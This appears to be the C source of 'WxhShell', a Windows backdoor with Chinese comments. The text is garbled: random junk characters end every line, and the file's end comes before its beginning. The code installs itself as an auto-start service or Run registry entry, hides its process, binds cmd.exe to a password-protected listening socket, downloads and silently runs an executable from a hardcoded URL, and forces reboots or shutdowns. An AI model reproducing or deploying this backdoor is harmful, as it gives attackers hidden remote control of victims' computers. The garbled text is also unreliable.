    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @-^jbmu^ P  
    if(Boot(SHUTDOWN)) -SyQ`V)T7N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75>)1H)Xm  
    else { h-0#h/u>M  
    closesocket(wsh); mpsi{%gA  
    ExitThread(0); 2u B66i  
    } M/!5r  
    break; 17hFwo`  
    } )GbVgYkk  
  // 获取shell etcpto=Mo  
  case 's': { wD*z >v$  
    CmdShell(wsh); =Gl6~lJ{_  
    closesocket(wsh); a$}n4p  
    ExitThread(0); F. N4Q'2Z  
    break; <1^\,cI2  
  } .>/Tc  
  // 退出 7v{X?86&  
  case 'x': { L%h Vts'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n]K`ofjl^  
    CloseIt(wsh); .}xF2'~E/  
    break; r~<I5MZY  
    } >v r! 3  
  // 离开 do-mkvk  
  case 'q': { KNI* :  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7W7!X\0Y  
    closesocket(wsh); Zze(Ik  
    WSACleanup(); ,JL Y oE+  
    exit(1); Xp_3EQl  
    break; 834E ]2  
        } I: j!A  
  } 7Ud  
  } t;^NgkP{$  
(Lp$EC&%6  
  // 提示信息 h 2Kx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #]g9O?0$  
} s#nd:$p3  
  } iC$mb~G  
$@VQ{S  
  return; |afzW=8'  
} |Z"5zL10  
CH`_4UAX%  
// shell模块句柄 S8zc1!  
int CmdShell(SOCKET sock) !yfQ^a_ O  
{ ;Wo\MN  
STARTUPINFO si; BLno/JK0}  
ZeroMemory(&si,sizeof(si)); qi ;X_\v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  e>FK5rz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KX|7mr90K  
PROCESS_INFORMATION ProcessInfo; & rsNB:!  
char cmdline[]="cmd"; h_SDW %($  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N1pw*<&  
  return 0; SccaX P  
} Lwy9QZL  
CP%?,\  
// 自身启动模式 jTDaW8@L  
int StartFromService(void) 2$Fy?08q  
{ fD1a)Az  
typedef struct  hxedQvW  
{ EWr8=@iU  
  DWORD ExitStatus; `Dn"<-9:  
  DWORD PebBaseAddress; Kgb 3>r  
  DWORD AffinityMask; ,rC$~ &  
  DWORD BasePriority; Bq20U:f  
  ULONG UniqueProcessId; IPIas$  
  ULONG InheritedFromUniqueProcessId; t/3t69\x  
}   PROCESS_BASIC_INFORMATION; l<89[{9o  
d/m.VnW  
PROCNTQSIP NtQueryInformationProcess; zx(=ArCRr  
npJyVh47  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;(Xig$k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w7;,+Jq  
#cZ<[K q6  
  HANDLE             hProcess; `L. kyL  
  PROCESS_BASIC_INFORMATION pbi; `u *:wJsv  
1U/ dc.x5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lwzk<+>w^  
  if(NULL == hInst ) return 0; E&wz0d;gf  
;:Yz7<>Y,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pr!H>dH8o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JxV 0y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8d!t"oj68  
y\M Kd[G7  
  if (!NtQueryInformationProcess) return 0; }3Mnq?.-  
D=0^" 7K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `F^~*FnR,B  
  if(!hProcess) return 0; _@gd9Fi7J  
3G;#QK -c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; whoQA}X>  
T08SGB]  
  CloseHandle(hProcess); d hp-XIA;  
4|]0%H~n6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z+k[HE^S  
if(hProcess==NULL) return 0; 'Pm.b}p<  
{?zBc E:  
HMODULE hMod; <uYeev%  
char procName[255]; mF@)l]UZ'  
unsigned long cbNeeded; 'Y%@fZf x  
p:/#nmC<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K4{1}bU{>  
DMcH, _(  
  CloseHandle(hProcess); G|h@O'  
WkF60'Hf  
if(strstr(procName,"services")) return 1; // 以服务启动 eL`}j9  
g9XAUZe  
  return 0; // 注册表启动 K!\$MBI  
} GlPd)m`  
#AN]mH  
// 主模块 ~@Wg3'&  
int StartWxhshell(LPSTR lpCmdLine) .Z0$KQ'iy  
{ Z.iQm{bI  
  SOCKET wsl; ;L{#TC(]J]  
BOOL val=TRUE; m,"N 4a@  
  int port=0; Ul`~d !3zH  
  struct sockaddr_in door; #j?SdQ  
yt@;yd:OEk  
  if(wscfg.ws_autoins) Install(); !gKz=-C  
%!vgAH4  
port=atoi(lpCmdLine); W7 .Y`u[  
I/&uiC{l@  
if(port<=0) port=wscfg.ws_port; $ OAak  
}nO[;2Na  
  WSADATA data; 3%NbT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;G=:>m~  
dTwZ-%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w9c^IS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5J1q]^  
  door.sin_family = AF_INET; I.qP$j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n_qDg  
  door.sin_port = htons(port); _Dv<  
.R<Ke\y/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N;6@f*3_i  
closesocket(wsl); ,m08t9F  
return 1; v6$ }saTX  
} {Iu9%uR>@  
%{sL/H_  
  if(listen(wsl,2) == INVALID_SOCKET) { S7A[HG;  
closesocket(wsl); qtQB}r8  
return 1; KXS{@/"-B  
} j&qJK,~  
  Wxhshell(wsl); U&\2\z3{  
  WSACleanup(); 3!OO_  
UojHlTg#bT  
return 0; +I9+L6>UR  
TX%W-J _  
} )HFl 0[vT  
|9D;2N(&!  
// 以NT服务方式启动 {;kH&Pp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~nSGN%  
{ ndY1j5  
DWORD   status = 0; } XJZw|n  
  DWORD   specificError = 0xfffffff; =q4 QBAW  
a BHV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ] SErM#$*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =)p/p6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c[DC  
  serviceStatus.dwWin32ExitCode     = 0; (_Ld^ ^|  
  serviceStatus.dwServiceSpecificExitCode = 0; Ijs"KAW ?  
  serviceStatus.dwCheckPoint       = 0; >h+G$&8[ y  
  serviceStatus.dwWaitHint       = 0; rf%NfU  
s)e'}y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @Qa)@'u  
  if (hServiceStatusHandle==0) return; [8sL);pJO  
j1LL[+G-"_  
status = GetLastError(); jgb>:]:  
  if (status!=NO_ERROR) GsG9;6c+u  
{ p(5'|eqBV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XP$1CWI  
    serviceStatus.dwCheckPoint       = 0; g[W`4  
    serviceStatus.dwWaitHint       = 0; SAa hkX  
    serviceStatus.dwWin32ExitCode     = status; |0wUOs*5  
    serviceStatus.dwServiceSpecificExitCode = specificError; <^Hh5kfS'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x4HVB  
    return; I'_.U]An  
  } '$cU\DTN6  
CDz-IQi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L%7?o:  
  serviceStatus.dwCheckPoint       = 0; ^ H,oI*  
  serviceStatus.dwWaitHint       = 0; CpAdE m{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &UWSf  
} $X%w9l e  
TT(d CHft  
// 处理NT服务事件,比如:启动、停止 CVi3nS5Yl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0 w"&9+kV  
{ _~M*XJ] `  
switch(fdwControl) Tv;|K's'  
{ 27;t,Oq}  
case SERVICE_CONTROL_STOP: |<@X* #X5  
  serviceStatus.dwWin32ExitCode = 0; .<|7BHL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &k5 Z|d|  
  serviceStatus.dwCheckPoint   = 0;  LWb5C{  
  serviceStatus.dwWaitHint     = 0; mn=G6h T}W  
  { && }'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F1@gYNbI,  
  } & >AXB6  
  return; ]JeA29   
case SERVICE_CONTROL_PAUSE: B_k[N}|zD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N'fE^jqU  
  break; uC>X;<^   
case SERVICE_CONTROL_CONTINUE: 0ih=<@1K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y9TaU]7]  
  break; 1 )aB']K%  
case SERVICE_CONTROL_INTERROGATE: #:v e3gWl  
  break; -Fodqq@,  
}; |wKC9O@%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r^ ?Qo  
} 21$YZlhJ  
6xs_@Vk|d  
// 标准应用程序主函数 r/E;tm [\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /q4<ZS#  
{ _MfB,CS  
l@FPTHq  
// 获取操作系统版本 [YY[E 7  
OsIsNt=GetOsVer(); Si#b"ls'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5!r?U  
W6t"n_%?"  
  // 从命令行安装 /wB<1b"  
  if(strpbrk(lpCmdLine,"iI")) Install(); (^'TT>2B  
8[SiIuIV  
  // 下载执行文件 u/e-m/  
if(wscfg.ws_downexe) { YFD'&N,sx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +A 6xY  
  WinExec(wscfg.ws_filenam,SW_HIDE); j4L ) D  
} oHkF>B [  
d]0.6T1[K  
if(!OsIsNt) { %EYh5 W  
// 如果时win9x,隐藏进程并且设置为注册表启动 -b "7WBl  
HideProc(); XUmL8  
StartWxhshell(lpCmdLine); Paz yY   
} utxT$1iJn~  
else . KJ EA #  
  if(StartFromService()) woJO0hHR  
  // 以服务方式启动 9^Q:l0|  
  StartServiceCtrlDispatcher(DispatchTable); cg$@x\fJ  
else PR=:3-#R  
  // 普通方式启动 Z -`j)3Y  
  StartWxhshell(lpCmdLine); {dV#"+  
7u]0dHj  
return 0; ps1ndGp~#  
} {yQeLION  
">]v'h(s  
nj99!"_   
4:-h\%  
=========================================== 6/@"K HHVe  
gNJ,Bj Pd  
W8j)2nKD  
6k"'3AKaR  
_IJPZ'Hr  
S~fQ8t70  
" j?D=Ij"o  
l$D]*_ jc,  
#include <stdio.h> K*Y.mM)  
#include <string.h> bj4cW\b(  
#include <windows.h> }:C4T*|  
#include <winsock2.h> }18}VjC!  
#include <winsvc.h> Z.+-MNWV  
#include <urlmon.h> w(pLU$6X  
xg %EQ  
#pragma comment (lib, "Ws2_32.lib") S0nBX"$u  
#pragma comment (lib, "urlmon.lib") ;:Q 5?zM  
p_S8m|%  
#define MAX_USER   100 // 最大客户端连接数 Yz;Hu$/  
#define BUF_SOCK   200 // sock buffer O1IR+"0  
#define KEY_BUFF   255 // 输入 buffer ~Emeo&X  
%E Jv!u*-  
#define REBOOT     0   // 重启 &gxRw l  
#define SHUTDOWN   1   // 关机 wvsKn YKX  
M7{w7}B0@  
#define DEF_PORT   5000 // 监听端口 .VN"j  
mw)KyU#l,:  
#define REG_LEN     16   // 注册表键长度 {aP5Mem  
#define SVC_LEN     80   // NT服务名长度 YIo $  
{#N](yUm  
// 从dll定义API 8<ZxE(v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o@j]yA.5)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8B;wn<O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /n;-f%dL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S05+G}[$  
+@[T0cXp  
// wxhshell配置信息 <4S Y'-w  
struct WSCFG { 3Z#k9c_b  
  int ws_port;         // 监听端口 U8L%=/N>B  
  char ws_passstr[REG_LEN]; // 口令 -C]RFlV  
  int ws_autoins;       // 安装标记, 1=yes 0=no t98t&YUpm  
  char ws_regname[REG_LEN]; // 注册表键名 g*69TqO^  
  char ws_svcname[REG_LEN]; // 服务名 Sc'z vlq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uu L"o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P F#+G;q;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cm g(# $ X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~pA_E!3W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j\& `  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <?'d \B  
SskvxH+7  
}; rC.z772y%  
= TKu2  
// default Wxhshell configuration `s93P^%  
struct WSCFG wscfg={DEF_PORT, 7/QQ&7+NkS  
    "xuhuanlingzhe", 8A/"ia  
    1, vI3L <[W  
    "Wxhshell", DXu915  
    "Wxhshell", 9/3gF)I}  
            "WxhShell Service", Vm}OrFA  
    "Wrsky Windows CmdShell Service", - ;1'{v  
    "Please Input Your Password: ", _u TaN  
  1, X!Ag7^E  
  "http://www.wrsky.com/wxhshell.exe", Z5 iP1/&D  
  "Wxhshell.exe" ^\=<geEj  
    }; 5%,5Xe4p  
Qgx9JJ>  
// 消息定义模块 wdg,dk9e$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _'DT)%K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B1)gudP`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D^qto{!  
char *msg_ws_ext="\n\rExit."; )H@"S]?7i"  
char *msg_ws_end="\n\rQuit."; ..BIoSrj  
char *msg_ws_boot="\n\rReboot..."; A|>~/OW=@  
char *msg_ws_poff="\n\rShutdown..."; R-8>,  
char *msg_ws_down="\n\rSave to "; 3cfJ(%'X  
D2N| A  
char *msg_ws_err="\n\rErr!"; kI7c22OJ  
char *msg_ws_ok="\n\rOK!"; _9yb5_  
q"){P RTm/  
char ExeFile[MAX_PATH]; /)RyRS8c  
int nUser = 0; v2=Iqo  
HANDLE handles[MAX_USER]; LsaE-l  
int OsIsNt; |@'/F#T  
dH:z _$Mg  
SERVICE_STATUS       serviceStatus; 2I'gT$h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y%<y`]I  
"#zSk=52z  
// 函数声明 A^lJlr:_`  
int Install(void); 4lrF{S8  
int Uninstall(void); 38ac~1HjE  
int DownloadFile(char *sURL, SOCKET wsh); +/xmxh$ $  
int Boot(int flag); r{NCI  
void HideProc(void); sBUK v(U)  
int GetOsVer(void); ogD 8qrZ6J  
int Wxhshell(SOCKET wsl); %f[0&)1!.v  
void TalkWithClient(void *cs); TCShS}q;%  
int CmdShell(SOCKET sock); r~f*aD  
int StartFromService(void); Pw c)u&  
int StartWxhshell(LPSTR lpCmdLine); ivTx6-]  
O7<--  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3=YK" 5J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); : jgvg$fd  
)?_x$GKY  
// 数据结构和表定义 nsf.wHGZ"J  
SERVICE_TABLE_ENTRY DispatchTable[] = O*qSc^9q  
{ Eo h4#fZ\N  
{wscfg.ws_svcname, NTServiceMain}, jLc"1+  
{NULL, NULL} W^U6O&-K  
}; vP k\b 3E  
tjONN(K`  
// 自我安装 @:2<cn`  
int Install(void) %K9pnq/T^  
{ R1,.H92  
  char svExeFile[MAX_PATH]; AQ}(v,DOb  
  HKEY key; R\i8O^[  
  strcpy(svExeFile,ExeFile); W^(:\IvV  
gteG*pi  
// 如果是win9x系统,修改注册表设为自启动 BH`%3Mw  
if(!OsIsNt) { ~Qg:_ @@\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YJ6y]r K2,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RC[mpR ;2  
  RegCloseKey(key); V1yY>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B7'rbc'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %#AM }MWIa  
  RegCloseKey(key); `Zdeq.R]  
  return 0; +, IMN)?;z  
    } Ca2He}r`  
  } ]TE(:]o7V  
} hq[:U?!Tt  
else { AiF'*!1  
{pWb*~!k  
// 如果是NT以上系统,安装为系统服务 g$^:2MT"aQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A'zXbp:%  
if (schSCManager!=0) Sa8KCWgWh  
{ m2{DLw".  
  SC_HANDLE schService = CreateService  L- '{   
  ( B,x ohT  
  schSCManager, d O})#50f  
  wscfg.ws_svcname, w4AA4u  
  wscfg.ws_svcdisp, SlaHhq3  
  SERVICE_ALL_ACCESS, y^u9Ttf{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #7*{ $v  
  SERVICE_AUTO_START, eb ` !  
  SERVICE_ERROR_NORMAL, ~[N"Q|D3Y  
  svExeFile, }CM</  
  NULL,  S6d&w6  
  NULL, mm1fG4 *%  
  NULL, .="/n8B  
  NULL, qH=<8Iu  
  NULL bb4 `s0  
  ); 39yp1  
  if (schService!=0) 2 -C*RHRx  
  { j@o \d%.'!  
  CloseServiceHandle(schService); kq4ii`zi8  
  CloseServiceHandle(schSCManager); $bCN;yE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m) q e  
  strcat(svExeFile,wscfg.ws_svcname); <i$ud&D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wCitQ0?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >WZ_) `R  
  RegCloseKey(key); o,q47W=7$  
  return 0; >^Z==1  
    } e[($rsx  
  } h>:eu#  
  CloseServiceHandle(schSCManager); r7zS4;b  
} S|Yz5)*  
} |y%M";MI  
0|chRX  
return 1; + FG Xx  
} {Q(R#$)5+  
|Bhj L,  
// 自我卸载 `Ei:Z%@7C  
int Uninstall(void) xgQ&'&7l  
{ isR)^fI|  
  HKEY key; A dL>?SG%  
tj1M1s|a  
if(!OsIsNt) { = lMs1}S9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*C|"|lJ  
  RegDeleteValue(key,wscfg.ws_regname); l\DcXgD x  
  RegCloseKey(key); aWk1D.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ls2g#+  
  RegDeleteValue(key,wscfg.ws_regname); mM;5UPbZ  
  RegCloseKey(key); zf.&E3Sn  
  return 0; '\wZKY VN  
  } wgcKeTD9  
} nl/~7({  
} n1Fp$9%  
else { cKe{ ]a  
Ch0t'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @UwDsx&2(t  
if (schSCManager!=0) C#oH7o+_.  
{ ^77X?nDz=h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,@Aeo9}  
  if (schService!=0) Z~Vups#+f  
  { Hq!|(  
  if(DeleteService(schService)!=0) { 3cB=9Y{<  
  CloseServiceHandle(schService); %^LwLyoVM  
  CloseServiceHandle(schSCManager); ~fz9AhU8  
  return 0; h 7  c  
  } 4<<T#oW.:G  
  CloseServiceHandle(schService); c W^  
  } p;P cD  
  CloseServiceHandle(schSCManager); sA:k8aj  
} +2Wijrn  
} W_FN*Er  
}WM!e"  
return 1; u8N"i),  
} Cp!Qd e  
0`~#H1TK  
// 从指定url下载文件 (>M@Ukam:  
int DownloadFile(char *sURL, SOCKET wsh) 5hg ^K^ZZ  
{ IRY/0v  
  HRESULT hr; =2R0 g2n  
char seps[]= "/"; 8iXt8XY3  
char *token; up )JU [  
char *file; 6$ x9@x8  
char myURL[MAX_PATH]; >>R,P Ow-  
char myFILE[MAX_PATH]; 5o2vj8::  
h%+6 y  
strcpy(myURL,sURL); Y:KIaYkk  
  token=strtok(myURL,seps); BQF7S<O+  
  while(token!=NULL) ;Vlt4,s)  
  { +H6cZ,  
    file=token; 2y#[uSqB  
  token=strtok(NULL,seps); y8/+kn +  
  } Mx_O'D  
^M7pCetjdW  
GetCurrentDirectory(MAX_PATH,myFILE); f;cY&GC  
strcat(myFILE, "\\"); bP HtP\)  
strcat(myFILE, file); P>[,,w  
  send(wsh,myFILE,strlen(myFILE),0); V 2/?1  
send(wsh,"...",3,0); V m]u-R`{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i=aK ?^+  
  if(hr==S_OK) w+G+&ak<  
return 0; &eY&6I  
else u[+/WFH  
return 1; o@@, }  
/;9iDjG  
} 'FN+BvD  
q-R'5p\C?|  
// 系统电源模块 !r %u@[(  
int Boot(int flag) o8!uvl}:9  
{ _n=,H  
  HANDLE hToken; 3.E3}Jz`  
  TOKEN_PRIVILEGES tkp; %Q y9X+N:  
z!>ml3  
  if(OsIsNt) { Kp?j\67S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ["ML&2|o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kcio]@#  
    tkp.PrivilegeCount = 1; <MzXTy3\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]m@p? A$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T)tf!v3v  
if(flag==REBOOT) { s8|F e_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6:3F,!J!  
  return 0; '-NHu +  
} wLOS , =  
else { o7 1f<&1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Vr;rk  
  return 0; )Oix$B!-  
} 6):iu=/i/  
  } Q5>]f/LD  
  else { At)\$GJ  
if(flag==REBOOT) { .j^=]3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8G?OZ47k#  
  return 0; ]B=2r^fn  
} 5~\GAjf  
else { \Ws$@ J-M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sQgJ`+Y8_  
  return 0; DxJY{e9  
} {mmQv~|5q  
} /`VrV{\/!  
^_!2-QY.~  
return 1; t>%+[7?6  
} R(W}..U0R"  
r(DW,xoK0  
// win9x进程隐藏模块 *D:uFo,xn  
void HideProc(void) f&88N<)  
{ Rs;Y|W4'  
.kZ<Q]Vk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =q?sB]n  
  if ( hKernel != NULL ) WdJJt2'  
  { PIZK*Lop  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1CA% nqlng  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~xU\%@I\  
    FreeLibrary(hKernel); B> V)6\   
  } 9 gWqs'  
;Wedj\Kkp  
return; h}yfL@  
} TpAso[r  
vG#,J&aW  
// 获取操作系统版本 6![}Jvu>  
int GetOsVer(void) lCiRvh1K  
{ `!lQd}W  
  OSVERSIONINFO winfo; U}^`R,C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )bl^:C  
  GetVersionEx(&winfo); _l{_n2D-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `IH*~d]  
  return 1; 3eR c>^wh  
  else ` 3h,Cy^  
  return 0; UthM?g^  
} 'QQa :3<x  
gRg8D{  
// 客户端句柄模块 mae@L  
int Wxhshell(SOCKET wsl)  LXf *  
{ "V{v*Aei0  
  SOCKET wsh; bD<hzOa  
  struct sockaddr_in client; \VHRI<$+5  
  DWORD myID; >\'gIIs  
*Z2#U ?_  
  while(nUser<MAX_USER) zCI.^^<?  
{ cg_j.=M-  
  int nSize=sizeof(client); !;M5.Y1j&"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5m9;'SF  
  if(wsh==INVALID_SOCKET) return 1; ~ As_O6JI  
WuMr";2*E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rH9[x8e  
if(handles[nUser]==0) m*'87a9q0  
  closesocket(wsh); oL -udH  
else ,Y`TP4Ip  
  nUser++; _`+2e-  
  } e~PAi8B5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Aga{EKd  
8B7~Nq'  
  return 0; bj7r"_  
} C(&3L[  
<Y+>a#T  
// 关闭 socket M sQ=1  
void CloseIt(SOCKET wsh) )uC5  
{ FZx.Yuv  
closesocket(wsh); !XQ)>T^G5  
nUser--; gp NAM"  
ExitThread(0); :&BE-f  
} S#N4!"  
^ wb9n  
// 客户端请求句柄 \T {<{<n  
void TalkWithClient(void *cs) jO}<W1qy  
{ PE<(eIr  
J=Hyoz+9  
  SOCKET wsh=(SOCKET)cs; mOntc6&]  
  char pwd[SVC_LEN]; 7.bPPr&  
  char cmd[KEY_BUFF]; `gz/?q  
char chr[1]; kerBy\^  
int i,j; *Ke\Yb  
"z4V@gk   
  while (nUser < MAX_USER) { ASUleOI79(  
!#dp [,nk  
if(wscfg.ws_passstr) { qKk|2ecTB5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !YIW8SP)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;TulRx]EA  
  //ZeroMemory(pwd,KEY_BUFF); a]@BS6  
      i=0; WT jy"p*  
  while(i<SVC_LEN) { 0,j!*  
+lZvj=gW  
  // 设置超时 DhN<e7c`  
  fd_set FdRead; liPaT  
  struct timeval TimeOut; ?Lbn R~/J  
  FD_ZERO(&FdRead); U &RZx&W  
  FD_SET(wsh,&FdRead); ;nAI;Qw L  
  TimeOut.tv_sec=8; G#j~8`3X  
  TimeOut.tv_usec=0; lQ#='Jqfp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bp>M&1^KY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M=Y['w x  
3|=L1Pw#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  }A&I@2d  
  pwd=chr[0]; ^wz 2e  
  if(chr[0]==0xd || chr[0]==0xa) { IGF25-7B  
  pwd=0; h6Cqc}P  
  break; uMX\Y;N  
  } ^y[- e9O|  
  i++; |>KOlwh5n  
    } }ZJJqJ`*e  
m^>v~Q~~  
  // 如果是非法用户,关闭 socket l<:\w.Gl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #,9#x]U#v  
} 75;g|+  
#Ve@D@d[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k,-0OoCL-!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,O_iSohS  
j[Gg[7q{y  
while(1) { 8~AL+*hn  
e?+&2zMq  
  ZeroMemory(cmd,KEY_BUFF); }!N/?A5  
2yV^'o)  
      // 自动支持客户端 telnet标准   !Y10UmMu  
  j=0; p\DSFB  
  while(j<KEY_BUFF) { 2YK2t<EO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EkoT U#w5  
  cmd[j]=chr[0]; avW33owb@  
  if(chr[0]==0xa || chr[0]==0xd) { Mb-AzGsV  
  cmd[j]=0; !V-(K_\t  
  break; (Ta(Y=!uq  
  } *z&hXYm  
  j++; 1} ~`g ED  
    } 9ePom'1f1  
J~AmRo0!k  
  // 下载文件 ,n$NF0^l  
  if(strstr(cmd,"http://")) { CW -[c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qh+zs^-?  
  if(DownloadFile(cmd,wsh)) Z1{>"o:@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &]pY~zVc  
  else w<Bw2c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |)S*RQb\  
  } biENRJQ.  
